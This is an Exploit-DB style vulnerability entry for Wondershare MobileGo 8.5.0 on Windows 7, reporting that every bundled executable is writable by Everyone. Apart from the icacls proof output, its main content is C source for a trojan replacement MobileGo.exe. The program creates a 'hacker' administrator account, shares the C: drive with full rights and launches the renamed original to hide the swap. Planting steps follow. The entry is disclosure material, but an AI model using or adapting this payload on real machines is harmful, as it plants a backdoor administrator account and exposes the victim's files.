MobileGo 8.5.0 - Insecure File Permissions

vendor:

MobileGo

by:

ZwX

N/A

CVSS

HIGH

Insecure File Permissions

732

CWE

Product Name: MobileGo

Affected Version From: 8.5.2000

Affected Version To: 8.5.2000

Patch Exists: NO

Related CWE:

CPE: a:wondershare:mobilego:8.5.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2019

MobileGo 8.5.0 – Insecure File Permissions

The MobileGo 8.5.0 software has insecure file permissions, allowing any user to have full control (read, write, execute) over the executable files.

Mitigation:

The vendor should fix the file permissions to restrict access to executable files only to authorized users.

Source

Exploit-DB raw data:

# Exploit Title: MobileGo 8.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-15
# Vendor Homepage : https://www.wondershare.net/
# Software Link: https://www.wondershare.net/mobilego/
# Tested on OS: Windows 7 


# Proof of Concept (PoC):
==========================
C:\Program Files\Wondershare\MobileGo>icacls *.exe
adb.exe Everyone:(I)(F)
        AUTORITE NT\Système:(I)(F)
        BUILTIN\Administrateurs:(I)(F)
        BUILTIN\Utilisateurs:(I)(RX)

APKInstaller.exe Everyone:(I)(F)
        AUTORITE NT\Système:(I)(F)
        BUILTIN\Administrateurs:(I)(F)
        BUILTIN\Utilisateurs:(I)(RX)

BsSndRpt.exe Everyone:(I)(F)
             AUTORITE NT\Système:(I)(F)
             BUILTIN\Administrateurs:(I)(F)
             BUILTIN\Utilisateurs:(I)(RX)

DriverInstall.exe Everyone:(I)(F)
                  AUTORITE NT\Système:(I)(F)
                  BUILTIN\Administrateurs:(I)(F)
                  BUILTIN\Utilisateurs:(I)(RX)

fastboot.exe Everyone:(I)(F)
             AUTORITE NT\Système:(I)(F)
             BUILTIN\Administrateurs:(I)(F)
             BUILTIN\Utilisateurs:(I)(RX)

FetchDriver.exe Everyone:(I)(F)
                AUTORITE NT\Système:(I)(F)
                BUILTIN\Administrateurs:(I)(F)
                BUILTIN\Utilisateurs:(I)(RX)

MGNotification.exe Everyone:(I)(F)
                   AUTORITE NT\Système:(I)(F)
                   BUILTIN\Administrateurs:(I)(F)
                   BUILTIN\Utilisateurs:(I)(RX)

MobileGo.exe Everyone:(I)(F)
             AUTORITE NT\Système:(I)(F)
             BUILTIN\Administrateurs:(I)(F)
             BUILTIN\Utilisateurs:(I)(RX)

MobileGoService.exe Everyone:(I)(F)
                    AUTORITE NT\Système:(I)(F)
                    BUILTIN\Administrateurs:(I)(F)
                    BUILTIN\Utilisateurs:(I)(RX)

unins000.exe Everyone:(I)(F)
             AUTORITE NT\Système:(I)(F)
             BUILTIN\Administrateurs:(I)(F)
             BUILTIN\Utilisateurs:(I)(RX)

URLReqService.exe Everyone:(I)(F)
                  AUTORITE NT\Système:(I)(F)
                  BUILTIN\Administrateurs:(I)(F)
                  BUILTIN\Utilisateurs:(I)(RX)

WAFSetup.exe Everyone:(I)(F)
             AUTORITE NT\Système:(I)(F)
             BUILTIN\Administrateurs:(I)(F)
             BUILTIN\Utilisateurs:(I)(RX)

WsConverter.exe Everyone:(I)(F)
                AUTORITE NT\Système:(I)(F)
                BUILTIN\Administrateurs:(I)(F)
                BUILTIN\Utilisateurs:(I)(RX)

WsMediaInfo.exe Everyone:(I)(F)
                AUTORITE NT\Système:(I)(F)
                BUILTIN\Administrateurs:(I)(F)
                BUILTIN\Utilisateurs:(I)(RX)
				
				
				
#Exploit code(s): 
=================

1) Compile below 'C' code name it as "MobileGo.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\Wondershare\\MobileGo\\~MobileGo.exe",0);
return 0;
} 

2) Rename original "MobileGo.exe" to "~MobileGo.exe"
3) Place our malicious "MobileGo.exe" in the MobileGo directory
4) Disconnect and wait for a more privileged user to connect and use MobileGo IDE. 
Privilege Successful Escalation